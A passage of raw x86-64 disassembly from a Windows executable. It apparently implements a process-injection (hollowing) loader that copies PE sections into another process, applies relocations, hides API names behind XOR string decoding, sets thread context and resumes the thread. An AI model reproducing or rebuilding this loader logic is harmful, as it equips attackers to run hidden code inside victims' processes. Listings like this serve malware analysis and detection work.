mov rax, qword [rbp + 0xa708]
movzx ecx, word [rax + 0x14]
add rax, rcx
movsxd rcx, dword [rbp + 0x620]
lea rcx, [rcx + rcx*4]
lea rax, [rax + rcx*8 + 0x18]
mov qword [rbp + 0x638], rax
mov rax, qword [rbp + 0x660]
mov rdx, qword [rbp + 0x638]
mov ecx, dword [rdx + 0xc]
mov r8d, dword [rdx + 0x10]
mov r9d, r8d
mov r8, qword [rbp + 0x800]
mov edx, dword [rdx + 0x14]
add r8, rdx
mov rdx, qword [rbp + 0x6c8]
add rdx, rcx
mov rcx, qword [rbp + 0x780]
mov r10, rsp
mov qword [r10 + 0x20], 0
call rax
mov qword [rbp + 0xd0], rax
jmp 0x140002b5a
mov rax, qword [rbp + 0xd0]
cmp rax, 0
setne al
and al, 1
mov byte [rbp + 0x637], al
mov al, byte [rbp + 0x637]
and al, 1
movzx eax, al
cmp eax, 0
jne 0x140002b9a
mov byte [rbp + 0xa727], 0
mov dword [rbp + 0x754], 1
jmp 0x140003754
mov eax, dword [rbp + 0x620]
add eax, 1
mov dword [rbp + 0x620], eax
jmp 0x140002acd
jmp 0x140002bb3
test byte [rbp + 0x80f], 1
je 0x140002fd5
mov dword [rbp + 0x61c], 0
mov eax, dword [rbp + 0x61c]
cmp eax, dword [rbp + 0x658]
jae 0x140002fd0
mov rax, qword [rbp + 0x800]
mov rcx, qword [rbp + 0x648]
mov ecx, dword [rcx + 0x14]
add rax, rcx
mov ecx, dword [rbp + 0x61c]
add rax, rcx
mov qword [rbp + 0x610], rax
mov eax, dword [rbp + 0x61c]
add rax, 8
mov dword [rbp + 0x61c], eax
mov rax, qword [rbp + 0x610]
mov eax, dword [rax + 4]
sub rax, 8
shr rax, 1
mov dword [rbp + 0x60c], eax
mov dword [rbp + 0x608], 0
mov eax, dword [rbp + 0x608]
cmp eax, dword [rbp + 0x60c]
jae 0x140002fcb
mov rax, qword [rbp + 0x800]
mov rcx, qword [rbp + 0x648]
mov ecx, dword [rcx + 0x14]
add rax, rcx
mov ecx, dword [rbp + 0x61c]
add rax, rcx
mov qword [rbp + 0x600], rax
mov eax, dword [rbp + 0x61c]
add rax, 2
mov dword [rbp + 0x61c], eax
mov rax, qword [rbp + 0x600]
mov ax, word [rax]
shr ax, 0xc
movzx eax, ax
cmp eax, 0
jne 0x140002c97
jmp 0x140002fb7
mov rax, qword [rbp + 0x6c8]
mov rcx, qword [rbp + 0x610]
mov ecx, dword [rcx]
add rax, rcx
mov rcx, qword [rbp + 0x600]
mov cx, word [rcx]
and cx, 0xfff
movzx ecx, cx
add rax, rcx
mov qword [rbp + 0x5f8], rax
mov dword [rbp + 0x5f4], 0
lea rcx, [rbp + 0x5cf]
lea rdx, [rbp + 0x5d0]
call fcn.140003a10
lea rax, [rbp + 0x5d0]
mov qword [rbp + 0xa810], rax
mov rax, qword [rbp + 0xa810]
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xaa50], rax
mov rax, qword [rbp + 0xaa50]
mov qword [rbp + 0xc8], rax
mov qword [rbp + 0xaa58], rax
mov rax, qword [rbp + 0xaa58]
movzx eax, word [rax + 0x22]
cmp eax, 0
je 0x140002dbe
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0xaa78], rax
mov qword [rbp + 0xaa70], rax
mov rax, qword [rbp + 0xaa70]
mov qword [rbp + 0xb8], rax
mov dword [rbp + 0xaa6c], 0
cmp dword [rbp + 0xaa6c], 0x12
jge 0x140002db9
mov rax, qword [rbp + 0xaa78]
movsxd rcx, dword [rbp + 0xaa6c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rbp + 0xaa6c]
mov r8d, 0x37
cdq
idiv r8d
mov rax, qword [rbp + 0xb8]
add edx, 0x37
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rbp + 0xaa6c]
mov word [rax + rcx*2], dx
mov eax, dword [rbp + 0xaa6c]
add eax, 1
mov dword [rbp + 0xaa6c], eax
jmp 0x140002d5c
jmp 0x140002dbe
mov rcx, qword [rbp + 0xc0]
call fcn.140001090
mov qword [rbp + 0xb0], rax
jmp 0x140002dd6
mov rdx, qword [rbp + 0xb0]
mov rcx, qword [rbp + 0x758]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x5c0], rax
cmp qword [rbp + 0x5c0], 0
jne 0x140002e15
mov byte [rbp + 0xa727], 0
mov dword [rbp + 0x754], 1
jmp 0x140003754
lea rax, [rbp + 0x5d0]
mov qword [rbp + 0xa818], rax
mov rax, qword [rbp + 0xa818]
mov qword [rbp + 0xa8], rax
mov qword [rbp + 0xaa60], rax
mov rax, qword [rbp + 0xaa60]
movzx eax, word [rax + 0x22]
cmp eax, 0
jne 0x140002edb
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0xaa90], rax
mov qword [rbp + 0xaa88], rax
mov rax, qword [rbp + 0xaa88]
mov qword [rbp + 0xa0], rax
mov dword [rbp + 0xaa84], 0
cmp dword [rbp + 0xaa84], 0x12
jge 0x140002ed6
mov rax, qword [rbp + 0xaa90]
movsxd rcx, dword [rbp + 0xaa84]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rbp + 0xaa84]
mov r8d, 0x37
cdq
idiv r8d
mov rax, qword [rbp + 0xa0]
add edx, 0x37
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rbp + 0xaa84]
mov word [rax + rcx*2], dx
mov eax, dword [rbp + 0xaa84]
add eax, 1
mov dword [rbp + 0xaa84], eax
jmp 0x140002e79
jmp 0x140002edb
lea rax, [rbp + 0x5d0]
mov qword [rbp + 0xa828], rax
mov rax, qword [rbp + 0xa828]
mov qword [rbp + 0x98], rax
mov dword [rbp + 0xa824], 0
cmp dword [rbp + 0xa824], 0x12
jge 0x140002f36
mov rax, qword [rbp + 0x98]
movsxd rcx, dword [rbp + 0xa824]
mov word [rax + rcx*2], 0
mov eax, dword [rbp + 0xa824]
add eax, 1
mov dword [rbp + 0xa824], eax
jmp 0x140002f01
mov rax, qword [rbp + 0x5c0]
mov rdx, qword [rbp + 0x5f8]
mov rcx, qword [rbp + 0x780]
mov r8, rsp
mov qword [r8 + 0x20], 0
lea r8, [rbp + 0x5f4]
mov r9d, 4
call rax
jmp 0x140002f6a
mov ecx, dword [rbp + 0x694]
mov eax, dword [rbp + 0x5f4]
add eax, ecx
mov dword [rbp + 0x5f4], eax
mov rax, qword [rbp + 0x660]
mov rdx, qword [rbp + 0x5f8]
mov rcx, qword [rbp + 0x780]
mov r8, rsp
mov qword [r8 + 0x20], 0
lea r8, [rbp + 0x5f4]
mov r9d, 4
call rax
jmp 0x140002fb2
jmp 0x140002fb7
mov eax, dword [rbp + 0x608]
add eax, 1
mov dword [rbp + 0x608], eax
jmp 0x140002c32
jmp 0x140002bca
jmp 0x140002fd5
mov dword [rbp + 0x2f4], 0x10000b
lea rcx, [rbp + 0x2c7]
lea rdx, [rbp + 0x2c8]
call fcn.140003a50
lea rax, [rbp + 0x2c8]
mov qword [rbp + 0xa838], rax
mov rax, qword [rbp + 0xa838]
mov qword [rbp + 0x88], rax
mov qword [rbp + 0xaa98], rax
mov rax, qword [rbp + 0xaa98]
mov qword [rbp + 0x90], rax
mov qword [rbp + 0xaab0], rax
mov rax, qword [rbp + 0xaab0]
movzx eax, word [rax + 0x2a]
cmp eax, 0
je 0x1400030cd
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0xaaf0], rax
mov qword [rbp + 0xaae8], rax
mov rax, qword [rbp + 0xaae8]
mov qword [rbp + 0x80], rax
mov dword [rbp + 0xaae4], 0
cmp dword [rbp + 0xaae4], 0x16
jge 0x1400030c8
mov rax, qword [rbp + 0xaaf0]
movsxd rcx, dword [rbp + 0xaae4]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rbp + 0xaae4]
mov r8d, 0x37
cdq
idiv r8d
mov rax, qword [rbp + 0x80]
add edx, 0x37
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rbp + 0xaae4]
mov word [rax + rcx*2], dx
mov eax, dword [rbp + 0xaae4]
add eax, 1
mov dword [rbp + 0xaae4], eax
jmp 0x14000306b
jmp 0x1400030cd
mov rcx, qword [rbp + 0x88]
call fcn.140001090
mov qword [rbp + 0x78], rax
jmp 0x1400030e2
mov rdx, qword [rbp + 0x78]
mov rcx, qword [rbp + 0x758]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x2b8], rax
cmp qword [rbp + 0x2b8], 0
jne 0x14000311e
mov byte [rbp + 0xa727], 0
mov dword [rbp + 0x754], 1
jmp 0x140003754
mov rax, qword [rbp + 0x2b8]
mov rcx, qword [rbp + 0x788]
lea rdx, [rbp + 0x2f4]
call rax
mov qword [rbp + 0x70], rax
jmp 0x14000313e
mov rax, qword [rbp + 0x70]
test rax, rax
setne byte [rbp + 0x2b7]
mov rax, qword [rbp + 0x660]
mov ecx, dword [rbp + 0x398]
mov edx, ecx
add rdx, 8
mov rcx, qword [rbp + 0x780]
mov r8, rsp
mov qword [r8 + 0x20], 0
lea r8, [rbp + 0x6c8]
mov r9d, 4
call rax
mov qword [rbp + 0x68], rax
jmp 0x140003189
mov rax, qword [rbp + 0x68]
cmp rax, 0
setne al
and al, 1
mov byte [rbp + 0x2b6], al
lea rax, [rbp + 0x2c8]
mov qword [rbp + 0xa848], rax
mov rax, qword [rbp + 0xa848]
mov qword [rbp + 0x60], rax
mov qword [rbp + 0xaab8], rax
mov rax, qword [rbp + 0xaab8]
movzx eax, word [rax + 0x2a]
cmp eax, 0
jne 0x140003256
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0xab08], rax
mov qword [rbp + 0xab00], rax
mov rax, qword [rbp + 0xab00]
mov qword [rbp + 0x58], rax
mov dword [rbp + 0xaafc], 0
cmp dword [rbp + 0xaafc], 0x16
jge 0x140003251
mov rax, qword [rbp + 0xab08]
movsxd rcx, dword [rbp + 0xaafc]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rbp + 0xaafc]
mov r8d, 0x37
cdq
idiv r8d
mov rax, qword [rbp + 0x58]
add edx, 0x37
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rbp + 0xaafc]
mov word [rax + rcx*2], dx
mov eax, dword [rbp + 0xaafc]
add eax, 1
mov dword [rbp + 0xaafc], eax
jmp 0x1400031f7
jmp 0x140003256
lea rax, [rbp + 0x2c8]
mov qword [rbp + 0xa868], rax
mov rax, qword [rbp + 0xa868]
mov qword [rbp + 0x50], rax
mov dword [rbp + 0xa864], 0
cmp dword [rbp + 0xa864], 0x16
jge 0x1400032ab
mov rax, qword [rbp + 0x50]
movsxd rcx, dword [rbp + 0xa864]
mov word [rax + rcx*2], 0
mov eax, dword [rbp + 0xa864]
add eax, 1
mov dword [rbp + 0xa864], eax
jmp 0x140003279
lea rcx, [rbp + 0x289]
lea rdx, [rbp + 0x28a]
call fcn.140003a90
mov rax, qword [rbp + 0x6c8]
mov rcx, qword [rbp + 0xa708]
mov ecx, dword [rcx + 0x28]
add rax, rcx
mov dword [rbp + 0x3a4], eax
lea rax, [rbp + 0x28a]
mov qword [rbp + 0xa830], rax
mov rax, qword [rbp + 0xa830]
mov qword [rbp + 0x40], rax
mov qword [rbp + 0xaaa0], rax
mov rax, qword [rbp + 0xaaa0]
mov qword [rbp + 0x48], rax
mov qword [rbp + 0xaaa8], rax
mov rax, qword [rbp + 0xaaa8]
movzx eax, word [rax + 0x2a]
cmp eax, 0
je 0x1400033a4
mov rax, qword [rbp + 0x48]
mov qword [rbp + 0xaad8], rax
mov qword [rbp + 0xaad0], rax
mov rax, qword [rbp + 0xaad0]
mov qword [rbp + 0x38], rax
mov dword [rbp + 0xaacc], 0
cmp dword [rbp + 0xaacc], 0x16
jge 0x14000339f
mov rax, qword [rbp + 0xaad8]
movsxd rcx, dword [rbp + 0xaacc]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rbp + 0xaacc]
mov r8d, 0x37
cdq
idiv r8d
mov rax, qword [rbp + 0x38]
add edx, 0x37
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rbp + 0xaacc]
mov word [rax + rcx*2], dx
mov eax, dword [rbp + 0xaacc]
add eax, 1
mov dword [rbp + 0xaacc], eax
jmp 0x140003345
jmp 0x1400033a4
mov rcx, qword [rbp + 0x40]
call fcn.140001090
mov qword [rbp + 0x30], rax
jmp 0x1400033b6
mov rdx, qword [rbp + 0x30]
mov rcx, qword [rbp + 0x758]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov rcx, qword [rbp + 0x788]
lea rdx, [rbp + 0x2f4]
call rax
mov qword [rbp + 0x28], rax
jmp 0x1400033f1
mov rax, qword [rbp + 0x28]
cmp rax, 0
setne al
and al, 1
mov byte [rbp + 0x27f], al
lea rax, [rbp + 0x28a]
mov qword [rbp + 0xa840], rax
mov rax, qword [rbp + 0xa840]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0xaac0], rax
mov rax, qword [rbp + 0xaac0]
movzx eax, word [rax + 0x2a]
cmp eax, 0
jne 0x1400034be
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0xab20], rax
mov qword [rbp + 0xab18], rax
mov rax, qword [rbp + 0xab18]
mov qword [rbp + 0x18], rax
mov dword [rbp + 0xab14], 0
cmp dword [rbp + 0xab14], 0x16
jge 0x1400034b9
mov rax, qword [rbp + 0xab20]
movsxd rcx, dword [rbp + 0xab14]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rbp + 0xab14]
mov r8d, 0x37
cdq
idiv r8d
mov rax, qword [rbp + 0x18]
add edx, 0x37
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rbp + 0xab14]
mov word [rax + rcx*2], dx
mov eax, dword [rbp + 0xab14]
add eax, 1
mov dword [rbp + 0xab14], eax
jmp 0x14000345f
jmp 0x1400034be
lea rax, [rbp + 0x28a]
mov qword [rbp + 0xa858], rax
mov rax, qword [rbp + 0xa858]
mov qword [rbp + 0x10], rax
mov dword [rbp + 0xa854], 0
cmp dword [rbp + 0xa854], 0x16
jge 0x140003513
mov rax, qword [rbp + 0x10]
movsxd rcx, dword [rbp + 0xa854]
mov word [rax + rcx*2], 0
mov eax, dword [rbp + 0xa854]
add eax, 1
mov dword [rbp + 0xa854], eax
jmp 0x1400034e1
lea rcx, [rbp + 0x263]
lea rdx, [rbp + 0x264]
call fcn.140003ad0
lea rax, [rbp + 0x264]
mov qword [rbp + 0xa870], rax
mov rax, qword [rbp + 0xa870]
mov qword [rbp], rax
mov qword [rbp + 0xa878], rax
mov rax, qword [rbp + 0xa878]
mov qword [rbp + 8], rax
mov qword [rbp + 0xa880], rax
mov rax, qword [rbp + 0xa880]
movzx eax, word [rax + 0x18]
cmp eax, 0
je 0x1400035f2
mov rax, qword [rbp + 8]
mov qword [rbp + 0xa8b0], rax
mov qword [rbp + 0xa8a8], rax
mov rax, qword [rbp + 0xa8a8]
mov qword [rbp - 8], rax
mov dword [rbp + 0xa8a4], 0
cmp dword [rbp + 0xa8a4], 0xd
jge 0x1400035ed
mov rax, qword [rbp + 0xa8b0]
movsxd rcx, dword [rbp + 0xa8a4]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rbp + 0xa8a4]
mov r8d, 0x37
cdq
idiv r8d
mov rax, qword [rbp - 8]
add edx, 0x37
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rbp + 0xa8a4]
mov word [rax + rcx*2], dx
mov eax, dword [rbp + 0xa8a4]
add eax, 1
mov dword [rbp + 0xa8a4], eax
jmp 0x140003593
jmp 0x1400035f2
mov rcx, qword [rbp]
call fcn.140001090
mov qword [rbp - 0x10], rax
jmp 0x140003604
mov rdx, qword [rbp - 0x10]
mov rcx, qword [rbp + 0x758]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x258], rax
mov rax, qword [rbp + 0x258]
mov rcx, qword [rbp + 0x788]
call rax
jmp 0x140003634
lea rax, [rbp + 0x264]
mov qword [rbp + 0xa730], rax
mov rax, qword [rbp + 0xa730]
mov qword [rbp - 0x18], rax
mov qword [rbp + 0xa890], rax
mov rax, qword [rbp + 0xa890]
movzx eax, word [rax + 0x18]
cmp eax, 0
jne 0x1400036ee
mov rax, qword [rbp - 0x18]
mov qword [rbp + 0xa8e0], rax
mov qword [rbp + 0xa8d8], rax
mov rax, qword [rbp + 0xa8d8]
mov qword [rbp - 0x20], rax
mov dword [rbp + 0xa8d4], 0
cmp dword [rbp + 0xa8d4], 0xd
jge 0x1400036e9
mov rax, qword [rbp + 0xa8e0]
movsxd rcx, dword [rbp + 0xa8d4]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rbp + 0xa8d4]
mov r8d, 0x37
cdq
idiv r8d
mov rax, qword [rbp - 0x20]
add edx, 0x37
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rbp + 0xa8d4]
mov word [rax + rcx*2], dx
mov eax, dword [rbp + 0xa8d4]
add eax, 1
mov dword [rbp + 0xa8d4], eax
jmp 0x14000368f
jmp 0x1400036ee
lea rax, [rbp + 0x264]
mov qword [rbp + 0xa748], rax
mov rax, qword [rbp + 0xa748]
mov qword [rbp - 0x28], rax
mov dword [rbp + 0xa744], 0
cmp dword [rbp + 0xa744], 0xd
jge 0x140003743
mov rax, qword [rbp - 0x28]
movsxd rcx, dword [rbp + 0xa744]
mov word [rax + rcx*2], 0
mov eax, dword [rbp + 0xa744]
add eax, 1
mov dword [rbp + 0xa744], eax
jmp 0x140003711
mov byte [rbp + 0xa727], 1
mov dword [rbp + 0x754], 1
lea rcx, [rbp + 0xa188]
call fcn.1400014f0
jmp 0x140003765
mov al, byte [rbp + 0xa727]
and al, 1
movzx eax, al
add rsp, 0xabb0
pop rbp
ret